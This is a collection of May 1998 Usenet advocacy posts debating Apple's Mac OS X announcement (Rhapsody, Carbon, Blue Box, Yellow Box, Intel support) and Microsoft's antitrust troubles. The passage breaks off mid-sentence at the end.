>OS X is the same Rhapsody that we will get in a few months updated, added
>to, and renamed so that it will serve as a replacement for what we now
>know
>as the Mac OS while still being called the Mac OS.
>
FWIW, the presentation slides from many of the WWDC sessions are available
via
http://www.developer.com/calendar/minisites/wwdc98/
Some of the presentations can also be seen as QuickTime movies at
http://applewwdc98.isocket.com/theater.html
(requires QT 3.0 and a fast Internet connection -- unfortunately, I have
neither, so I've only seen the slides.... <g>)
Yesterday, for example
http://www.developer.com/calendar/minisites/wwdc98/tuesday.html
-- there were sessions on App Kit, Foundation Kit, Rhapsody YB Development
Tools, YB for Windows, and Rhapsody networking/communications.
Hardly the signs of a 'dead' (or 'Steved') technology, I'd say....
Anyway, I just wanted to draw attention to the session on the 'Core OS
Architecture for Rhapsody and MacOS X' yesterday that may answer alot of
the questions being debated here, re: what's included in MacOS X and how it
fits together, etc.
http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/index.htm
See especially the slides on
'Core OS Evolution'
http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld007.htm
and 'Core OS and MacOS X'
http://www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld024.htm
-- Let me know if anything's missing.... ;-)
But basically, the description of MacOS X as 'Rhapsody + Carbon' (and Mach
3.0 instead of 2.x, providing SMP, as I understand it....), is absolutely
accurate.
Thus, YB developers for Rhapsody 1.0 have a 'straight shot' path to MacOS X
in addition to Rhapsody, and MacOS developers can have access to the
'modern OS' core via Carbon with minimal effort or let users run their
existing System 7.x/8.x Mac apps in the Blue Box as previously planned ala
Rhapsody.
So the question is whether 18 months is too long for developers and users
to wait for the addition of Carbon to Rhapsody and for the kernel upgrade
to Mach 3.0; nothing else has changed. If you want YB on Rhapsody and don't
mind using Blue Box for backward compatibility on PPC Macs in the interim,
the wait is more like 3-4 months until Rhapsody CR1 ships, exactly as
before....
Frankly, I don't see what all the whining and gnashing of teeth is about,
_unless_ this MacOS X thing signals Apple eventually backing away from
Rhapsody/OpenStep on Intel, which would not be a good idea at all, IMO.
FWIW, both Mac CNN and MacWeek claim that Rhapsody will continue on as a
separate 'high-end server OS', even after MacOS X is released, and both
cite 'Apple sources' for this claim. See
http://www.macnn.com/reality/archives/051198/news.shtml
http://www.zdnet.com/macweek/mw_1219/op_editorial.html
My own sense of it is that MacOS X _should_ be as portable as Rhapsody,
since all the components of Rhapsody are there and neither Carbon nor the
Blue Box are 'required' elements of the core OS.
But Apple really needs to clarify this, IMO, e.g., whether the 'fully
optimized for G3 processors' bit was just marketing hype for the Mac
audience or whether it's indicative of future strategies at Apple limiting
Rhapsody technology to PPC-only systems (and, in effect, to Apple
hardware....).
At present, for example, it seems the only way to get the Mach kernel
upgrade to 3.0 with SMP is via MacOS X, so if there's no Intel version in
the works, well, HMMM!!!....
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
Date: Thu, 14 May 1998 15:39:27 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
<6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355a8950.0@news.camtech.net.au>
>John C. Randolph wrote:
>
>>
>> That may be a nice way to describe it to the MacOS paranoid conservatives,
>> but the fact of the matter is that the kernal, filesystem, window system, and
>> driver code all come from Rhapsody. That's not "rolling elements in", that's
>> renaming an OS.
>>
>> MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
>> Good Thing. The MacOS is way past its prime.
>>
>
>
>Exactly. So, logically, since the "Mac OS" is undoubtedly "way past its
>prime" why *rename* "Rhapsody" to MAC OS 10?
So Mac users don't get skittish (sp?) and because it has just been extended even
further. You really are a down-with-Apple type aren't you?!!!!
Tim Priest
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 19:44:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17FA88B-D17A@206.165.43.138>
References: <1d8yqsc.1875mjiash37cN@desktop.tom-e.private>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Thomas Engelmeier <tom@engelmeier.com> said:
>
>????? Are you talking 'bout Grafics or Typography? For the later I
>agree, but, for 2D Grafics stuff - what is necessary what QD doesn't
>provide? (I usually use no QD at all... QD 3D, Mesa 3D, QT, grafics
>importers etc...)
Lessee, does QuickDraw provide resolution-independent vector graphics? A
coherent retained-mode API? Text-as-graphics? The ability to use text as a
clip-shape? The ability to group color, transform, clip and style info? The
ability to HAVE such info beyond the simple RGB available in 32-bit
QuickDraw?
There are three main books involved in programming GX. Only one of which
involves typography. Do you REALLY want to try to compare the feature-set
of 32-bit QuickDraw and GX?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 14 May 1998 15:35:55 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104>
<pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
<EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355a887d.0@news.camtech.net.au>
In article <6jco3t$6ns$3@msunews.cl.msu.edu> ,
spammers@ruin.the.internet.channelu.com wrote:
>So perhaps this is supposed to make me happy. Why in the heck
>would I want to write for Carbon when I can write for YB.
Geez, even I get it by now. Listen, if you are writing a *new* application you
should write using the YB (assuming you are not a long-time Mac user who breaths
the API's etc). This way you get X-platform access and the beauty of using the
YB API's for rapid development.
Now what about the poor shmucks that already have umpteen thousand lines of Mac
OS code. The old plan was to run them in the Blue Box. This mean't they
coudn't play nice with the kids from Beverly Hills ( YB apps) but had to stay in
their own sand-box. They had no access to PMT, MP etc. Mac developers weren't
particularly chuffed at this or the thought of a re-write to a completely new
set of API's. Carbon gets around this. How? By getting rid of the 2000 or so
API's that didn't play nice. So Mac developers can now port there applications
to Mac OS X using the carbon API's and they will run as well as an application
written in the YB, with all buzzwords. AND they dont have to re-write the whole
application. Just get rid of the bad API's.
The trade-off?
If you write using the carbon API's you don't get to go X-platform (as yet
anyway, although rumours are flying thick and fast). If you use the YB API's
you get the whole gammit. So really, for old developers there is no trade-off,
since they never expected to run on Intel anyway.
For new developers it would be foolish to write using anything but YB (assuming
Apple is serious about pushing YB on Windows and Intel-mach).
OK. Now I have a few questions. What about DPS? Presumably the trade-off Mac
OS X has is that it still uses QD. If so then will DPS be phased out over the
next 18-months? What will Apple use? Will Rhapsody continue as a server OS
still using DPS?
Tim Priest
> Now if
>your going to tell me YB on Mach for Intel is dead then I'm going
>to be a little upset.. If you say hey you get YB on 95/NT I say
>garbage give me YB on Mach on Intel..
I don't know what goes on here but I'd be surprised if Apple pulls back from
X-platform support. Software is where the money is in the long run. Hardware's
margins are getting suckier everyday. Having said that Apple has shown to be
insane on previous occasions.
>I can do w/o Bluebox
>and Carbon on Intel - if it can be ported and get me Carbon
>Apps on Mach on Intel - then fucking great. YB on Mach on
>Intel. Say yes to this Apple!! Put your darn money where your
>mouth is. 2x faster. I'll tell you whether it's 2x faster when
>Rhap1.0 ships for Intel and PPC. Then we'll all know if your bluffing or not.
How would you know if they didn't want you too? They could easily cripple the
Intel-Mach version. Sure they'd just be like MS then but they could do it if
they wanted.
>If your not then you have nothing to fear from the PC's since I'll
>pay roughly 2x the price if the speed is 2x, and the integration
>is top notch (like black hardware). If you really believe in PPC
>and believe in YB then don't dump YB on Mach on Intel because
>it could eat into your PPC sales. Trust that folks will buy from
>Apple because they'd rather get a 2x faster machine for 2x
>the price. Why? Because if you've done your job right
>to get the same performance I have to eat twice as much
>power. And I am a bit sensitive to this issue (how much
>power a machine consumes). Also to have jobs take 1/2
>less time on a particular node would be very important to me.
THis is a thorny point. Apple would like to transition to a major OS software
company I'm sure. But, it wont happen overnight and until then hardware keeps
them alive. Look at how the clones ate into Appl'e sales. Imagine how Intel
clones would. Don't tell me most people will pay a premium for speed. The
amount of low cost (low margin) machines sold in the last twelve months shows
that most users have neither a clue or a care about having the fastest machine.
They just want a FAST machine that is CHEAP.
This is Apple's problem at the moment. I would rather see them slowly
transition (not stop but transition) to being chip independent. That way they
will not be relying on OS sales that may not eventuate.
>Both of these selling points (less power for same performance,
>and more performance in single box) are very important to
>some people (also less systems to maintain).
But not to the majority of people who couldn't give a flying .... about the
power they use. They want a CHEAP computer up-front.
>I tell you now if you dump YB on mach on Intel for any reason
>it will clearly be perceived that Apple doesn't believe their
>hardware can compete on a price/performance basis with
>Intel.
It simply cant compete on a price basis! It has nothing to do with performance.
And at that point I'll go linux. Heck if Apple goes with
>X for it's display there is no reason the GNUstep wouldn't be
>able to catch up easily - they can forget about the DPS and
>start working hard on the core API's of YB.
Yeah, yeah. Go on, go with Linux. Its free, theres no reasonto stay any
longer. See you when you get back.
>Any hint of this and Apple has lost a developer and a User.
>I absolutely won't be buying into a company that is forcing
>people to move to their proprietary closed systems - (i.e. PPC
>to get MacOS X). I don't care how fricken great you think
>your stuff is. I won't support a MS wanna-be..
I wish I lived in a black-and-white world like this. Apple surviving is more
important to me than getting Rhapsody on Intel (though it is inevitable I
believe, since it simply means an order of magnitude more sales, more developers
coming on board and less R and D for Apple). I also hope that Apple allows
third-party support for PPC hardware at that stage so I wont be locked into
Intels offerings. Rhapsody everywhere...in a timely manner.
Tim Priest
Date: Thu, 14 May 1998 15:46:45 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
<3559EA9E.3FD91406@spamtoNull.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355a8b06.0@news.camtech.net.au>
In article <3559EA9E.3FD91406@spamtoNull.com> , Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>spagiola@usa.net wrote:
>
>>
>> Rhapsody buggy? Wherever did you get that idea? All available evidence from
>> public demos (and the admittedly cryptic comments of those under NDA) is that
>> on the contrary it will be one of the most robust OSs out there.
>>
>> What this move is meant to forestall is not the disappointment of Rhapsody as
>> _technically_ weak (which it won't be) but the disappointment of Rhapsody as
>> app-deficient because of poor developer support (which it will be, despite
the
>> heroic efforts of former OPENSTEP developers).
>
>
>Oh, yea, that was supposedly the function of BLUE BOX, wasn't it?
>
>Ah, if only Apple could have actually *done* a competent Blue Box, the
>problem of developer support would have been nil since existing
>applications would have run under Rhapsody.
Alright, where is your competent Blue Box to compete with Apple's? Surely if
you are going to rag on Apple's offering of the original Blue Box (which they
have just extended beyond anyone's expectations) then you at least can tell us
how you would have made a more competent port? Please point me to your URL for
this. I'll ring Steve now.
>Blue Box if you remember was
>*key* to Apple's strategy when it let Jobs talk them into parting with
>almost half a billion dollars to do Rhapsody in the first place. Without
>Blue Box, Rhapsody itself made no sense from Apple's postion.
Bullshit. The Yellow box API's and the maturity of the OS were the reasons.
Gil Amelio stated so himself just three weeks ago (cant remember the URL
off-hand). Now go away please, you are really just pissing on the parade.
Tim Priest
From: "Nephilim" <nephilim@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
References: <6j65u1$c04$1@news.orbitworld.net>
Subject: Re: Pussy Puddles vs. Micro$loth
Message-ID: <nYv61.155$Q22.1604745@newsread.com>
Date: Thu, 14 May 1998 06:13:39 GMT
NNTP-Posting-Date: Thu, 14 May 1998 02:13:39 EDT
Organization: Your Home Port in the U.P. (PortUP.com)
Pussy Puddles wrote in message <6j65u1$c04$1@news.orbitworld.net>...
>
>1.) Windoze '98 should be held up indefinitely by the courts of
>every civilised land until Micro$loth is split into 3 or 4 parts by
>the Justice Department (with Bill Gates being ordered to divest
>all financial interests in the new corporations).
>
>2.) We the people should find out which large corporations
>have succumbed to standardising on Micro$loth products and
>boycott THEM ALL. It's not as hard as you might think. There
>are tens of thousands of information specialists in these
>corporations willing to spill the beans about the way Micro$loth
>controls the information infrastructure of their organisations -- and
>they are mad as hell about it. Some post right here on USENET.
>
>3.) An organisation espousing alternatives such as MacOS,
>UNIX, LINUX, etc. needs to be setup to educate both large and
>especially small businesses of the dangers of Micro$loth, and
>show them how superior the alternatives are.
>
>
>
>,Polly
Wake up and smell the coffee. Windows, no matter how unreliable and
unstable, is still a far superior O/S for the common man, and the average
small to medium business. How many people do you HONESTLY know of that
could run Unix? Those of us who can run Unix are the elite few. Most
people had a hard enough time with DOS. Then there is a matter of software.
It's just not there for Unix, BeOS, OS/2, Linux, etc. Microsloth has the
largest following for a reason, and it's not because they suck.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 04:13:05 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6je92i$66q$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <355A25D6.C2207F86@unet.univie.ac.at> <stevehix-1305981752090001@ip53.safemail.com> <6jdiud$l15$1@msunews.cl.msu.edu>
In article <6jdiud$l15$1@msunews.cl.msu.edu>, spammers@ruin.the.internet.channelu.com wrote:
> Signals Apple is loosing interest in Intel/YB
Do you mean "signals", or "things that would be signals if they
occurred"? Because (1) and (2) haven't occurred. (Well, I'm not sure
about (2), but I don't think so.)
> (1) Dropping Rhapsody for Intel in favor for YB on 95/NT
> (2) Porting Carbon to Intel - adding it to Rhapsody
> (3) Dropping or not supporting Openstep/YB - Solaris/HP
> without a solid reasoning of why.
Because selling Rhapsody on Sparc or HP hardware is of questionable
profit value. And they don't have a Yellow Box for Solaris or HP/UX,
and would require a lot of effort to write one.
> (4) Not giving at least a modicum of tuning for the Intel version
> if I find Linux runs things significantly faster than Rhapsody
> on Intel where as Rhapsody on G3 is only slightly faster
> than Linux on Intel (for a suite of our benchmarks)
I suspect that both the PPC and Intel versions of Rhapsody are similarly
tuned (though I expect that they will pay more attention to PPC in
the future.. I seriously doubt they did any tuning at all in the DR
version of Rhapsody that you have, actually). Did you do a Rhapsody
comparison on demonstratably comparable hardware?
> (5) Lagging Intel driver support.
Well, it's always hard to keep up with that. :( I think that even if
Apple was definitely serious about Intel, they'd still lag on driver
support anyway, they just don't have the resources.
(Too bad they can't integrate the Linux drivers..)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 04:15:57 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6je97t$67d$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <see-below-1305982104330001@209.24.241.190>
In article <see-below-1305982104330001@209.24.241.190>, see-below@not-my-address.com (Matthew Vaughan) wrote:
> If they're going [have Carbon to Intel], why not just cancel Yellow Box
> right now?
There is more to Yellow Box than cross-platform.
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why ''Carbon''?
Date: Wed, 13 May 1998 20:33:54 +0100
Message-ID: <1d8zgpf.jeksqt1yrrjeqN@quern.demon.co.uk>
References: <slrn6lemh4.bct.mbkennel@lyapunov.ucsd.edu> <pxpst2-1203981917020001@pelli.pathology.pitt.edu>
Peter <pxpst2@SPAM.SUXS.unixs.cis.pitt.edu> wrote:
> It is important to realize that the whole toolbox or MacOS APIs are NOT
> being ported. Most of the APIs that are going over are actually rather
> modern and could easily withstand the journey. The "old fangled" ones are
> getting "steved"
>
> > * Yellow Box API
> > * BSD
> > * running on Intel
>
> All are well, Do not worry.
[some snippage]
Peter, I hope all this is true. Forgive my bluntness, but how are you so
sure?
I'd be delighted to know that MacOS X is what we'd previously known as
Rhapsody Unified, only with Carbon at a similar level to Yellow Box and
hence a clearer migration path for MacOS developers. We could then
postulate that the name-change is primarily marketing spin.
However, I've read nothing 'from the horses mouth' which categorically
says 'yes - BSD, Yellow Box, & PPC 60x support are all part of MacOS X.'
Basically - what's your source?
--
Jonathan Sanderson http://www.quern.demon.co.uk/jonathan
Science TV Producer, Leeds/Glasgow, UK
'If I had more time, I would have written you a shorter letter' (Pascal)
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: 14 May 1998 03:37:22 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd7ee9$8fe262e0$04387880@test1>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com> <hAk61.1$o52.30691@news.san.rr.com>
Ed Deans. <eadeans@san.rr.com> wrote
> I've been reading DPS is out (see various Mac 'news' sites) but QuickDraw
is
> in (see Apple's Carbon PDF). For the life of me I cannot understand
that.
Apple controls QuickDraw and not DPS. There have been rumors that (1)
Adobe wants to kill DPS and (2) Apple is cannot drive deployment costs for
OpenStep for windows apps below $20 because of licensing problems (Adobe's
DPS?).
[note: I think we need to wait for more information before coming to
conclusions]
Todd
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:57:06 -0700
Message-ID: <see-below-1305982057060001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us> <mcasse-2708561357200001@line8047.ras.ilstu.edu> <6jbrd7$1cc$13@ironhorse.plsys.co.uk> <6jcjs4$6ns$1@msunews.cl.msu.edu>
In article <6jcjs4$6ns$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> But reading along today I wondered about something. Wasn't BlueBox
> in Rhapsody supposed to be fully MacOS (at least 8.x don't know about
> 7)
> compatible. I mean in the past I kept hearing that all those Mac apps
> would run w/o any modification on Rhapsody.. And there was a big
> deal made that essentially there would be a Mac.app application that
> one would start up to run those apps within that if the application you
> started within it would crash that the most it could take with it was
> the
> Mac.app.
Yes, this is how I understand Blue Box to work.
> So now I wonder why Apple whips up Carbon. Clearly it is to reach
> out to the slew of MacOS developers and to try to get them to clean
> up their code. But was there something wrong with the above bluebox
> solution.
Yes, there is a problem! Individual Mac applications can still stomp on
one another, and on the MacOS running inside the Blue Box. Also,
multitasking is still not preemptive. Since it looked like the vast
majority of apps would still be Mac apps for some time to come, this
didn't give much of an advantage to the end user for the time being. Which
meant Rhapsody would provide less benefit to Mac users (99%+ of Apple's
market), until developers converted everything over to Yellow Box, which
was a great hurdle for Mac developers.
> I'm sure they couldn't run everything for various reasons
> and maybe Carbon IS the complete bluebox solution - meaning if
> your compatible with Carbon you will most certianly run on everything
> MacOS 7, 8, Rhapsody, MacOS X and take advantage of 'native'
> calls.
I'm not sure I understand you here. Carbon is as close to Mac APIs as you
can get while still allowing all the advanced OS functions users and
developers want (PMT etc.) Blue Box may still exist, and complement
Carbon, as a way to still run "non-compatible" MacOS apps (including 68k
apps), though they still have the disadvantages listed above.
> I just think it is interesting the kind of spin they've put on this
> by calling it MacOS X rather than Rhapsody 2.0 and simply
> delinating the differences. Though it may be to keep the MacOS
> folks from rising up in arms ;)
Considering almost every one of their customers and developers fall into
that "MacOS folks" category, I'd say this is a very important
consideration!
> It seems to me what Apple should be saying is that MacOS
> is very important to them, but to implement Bluebox effectively and
> guarantee cross OS support (MacOS 7, 8, Rhap) we have to strip
> down the MacOS calls to a subset. This would mean a slight pull
> back from the Bluebox that will run just about everything w/o
> recompiles
> (maybe it was slow?? I'm stretching here).
I think the difference is this isn't like the Blue Box, other than in that
it allows Mac-type apps to run in the Rhapsody (unix) environment. As I
understand it, Blue Box is sort of like SoftWindows (though without
needing to emulate hardware at all), in that it actually runs a copy of
MacOS, including extensions, inside a Rhapsody process.
Carbon I believe will simply be a set of Mac API-derived libraries that
run "natively" within Rhapsody - more of a thin layer, like the Yellow Box
DLLs for Windows, rather than a full virtual machine-type environment.
(Hence some people's insitence that Carbon and Blue Box are totally
unrelated.)
I don't think Blue Box has compatibility problems, nor is it slow. I think
the only problem is that it relegates all Mac apps into this one process,
which in itself has little or no advantage over the current MacOS. And
this segregation made the whole less attractive as an end-user OS, at
least for the majority of the millions of current Mac customers.
> Frankly I can't see that Carbon is slated to go to intel, maybe but I
> highly doubt it. Why toss away all the work on YB on intel?? YB is
> far superior to what Carbon could ever be!
I agree. Carbon is just there for backward-compatibility. Like Blue Box,
there is no reason for it to go to Intel. (And much risk to Apple's
hardware sales if it did!)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Wed, 13 May 1998 23:28:51 -0700
Message-ID: <see-below-1305982328510001@209.24.241.190>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com>
In article <EsvxtF.7G0@micmac.com>, nospam@micmac.com wrote:
> This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
> (<zi461.1949$sy4.3542379@news.rdc1.sdca.home.com>) by Rex Riley:
>
> > You obviously haven't been around the Steve long enough to appreciate the
> > comment. Let me phrase this as concise as possible. Developers just went
> > from a compile once - deploy elsewhere to a compile once - deploy once.
> >
>
> Where have you seen that MacOSX won't be deployed _somewhere_ else?
>
> The fact that it is not written or said doesn't mean it won't happen...
Also, Rex's statement is incorrect. Developers went from a
start-from-scratch major rewrite, compile once, deploy elsewhere to a
minor touch up, compile once, deploy once situation.
They still have the yellow box option as before.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:20:50 -0700
Message-ID: <see-below-1305982120500001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl> <stevehix-1305981543110001@ip53.safemail.com> <355A1998.E76DCAE7@milestonerdl.com>
In article <355A1998.E76DCAE7@milestonerdl.com>, mark@milestonerdl.com wrote:
> Steve Hix wrote:
>
> > > They really should choose.
> >
> > They have: they have chosen (finally) a workable way to merge the MacOS
> > and Rhapsody efforts into a really usable combination.
> >
> > And Rhapsody will end up shipping to customers (after CR1) as MacOS X.
>
> That maps out the PPC.
>
> And the Intel version map is?
There is no consumer map for Rhapsody for Intel. It is the same as it
always was: developers, servers, and custom workstation installations,
using Yellow Box only.
This hasn't changed at all.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 21:21:24 -0700
Message-ID: <see-below-1305982121240001@209.24.241.190>
References: <andyba-ya02408000R1205981228550001@news> <6jafbi$hbb$1@larry.admin.phil.uu.nl> <andyba-ya02408000R1305981537240001@news>
In article <andyba-ya02408000R1305981537240001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6jafbi$hbb$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
> Wiedijk) wrote:
>
> > Okay, okay, I surrender. Maybe it will be like you say.
> > It's still too hybrid to my taste _(and_ MacOS _and_ the 68k
> > emulator _and_ Mach _and_ BSD _and_ DPS _and_ NeXTstep _and_
> > the yellow box _and_ Carbon _and_ whatever Apple adds between
> > now and next year), but, well, _maybe_ it will be a nice,
> > non-top-heavy system.
>
> Nope, no 68K emulator.
I think there will still be one in the Blue Box.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 13 May 1998 01:20:27 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1305980120280001@dialin33423.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com>
In article <6jb7i9$d0l$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> Please forgive my liberal snipping, but our posts are getting
> way too long.
Snip away!
> In article <rmcassid-1205980106390001@dialin33418.slip.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
> >
> > In article <6j8cet$fgg$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> >
> >I see this industry as being different from many.
> ...
> > the software
> > industry, in my opinion, is especially susceptable to monopoly.
> >
>
> It is a multi-edged sword. The industry is highly dynamic (and I love it
> that way). One thing that I think we all could agree on. If Microsoft
> quit releasing "new" products, it would soon be dead.
I don't want that to happen either.
> You may argue that
> Microsoft is perfecting the "perpetual revision machine", but that
> can't last.
Microsoft is perfecting the ultimate marketplace bottleneck. Virtually all
paths from the internet and software houses to consumers cuts across MS's
property. The DOJ needs to put in a right-of-way for a free market to
result.
> If nothing else, Microsoft will run out of markets to
> take over (sorry, bad joke). If you really want to punish Microsoft let
> it turn itself into an IBM (can you imagine Bill Gate in a pin striped suit?)
> <shudder>
Uh, maybe you aren't following things as closely as I am, but MS has no
limit to the number of markets for them to take over. Consider that they
are now leveraging IE and 98 to enhance their operations in:
Electronic financial tranactions
Electronic postage services
Online car purchases
Online airline reservations and ticketing
Online television program listings
They can go after almost any service on the internet that they want
because they now likely control 95% of the future access points to the
internet.
> The courts have consistantly ruled that anti-trust was designed for consumer
> protection only and not for the protection of competitors. If you would like
> quotes, I think I can find some.
I agree with you. However, the consensus now seems to be that competition
== consumer protection in a reasonably large marketplace. That's why price
fixing is illegal as well.
> As you said earlier, no corporation has the "right" to success.
It has the right to compete, but not succeed. MS is precluding
corporations ability to compete. A small company in PA sells a service
that delivers television program listings to users. They cannot compete
any longer. They have no reasonable expectation that MS, for any
reasonable amount of money, will allow them to ship their service with
Windows98. The also have nobody else to turn to but 4% marketshare Apple
Computer, then Sun, then SGI, I suppose. They cannot compete, because the
only reasonable outlet they have to users is also a competitor.
> > If you were to argue the wording in the consent decree, you'd possibly
> > find that two interpretations were valid. Where do you go from there?
>
> To the negotiating history.
>
> What was meant in 1994? I believe Microsoft wins on this point. The DOJ has
> NO historical evidence that any of the signers thought "integrated products"
> could not include products that were also sold separately.
Perhaps. Regardless, we agree that it is the less valid case.
> > As such, it would seem that MS has no defense.
>
> Defense against what? The Contempt case? They defended against that
> quite well (IMO).
>
> The anti-trust case has not been brought yet (I know, "soon").
I believe today's was breach of contract by Sun. There appears to be
multiple anti-trust cases lined up.
> That is one thing I do not understand. It was stupid not to wait until
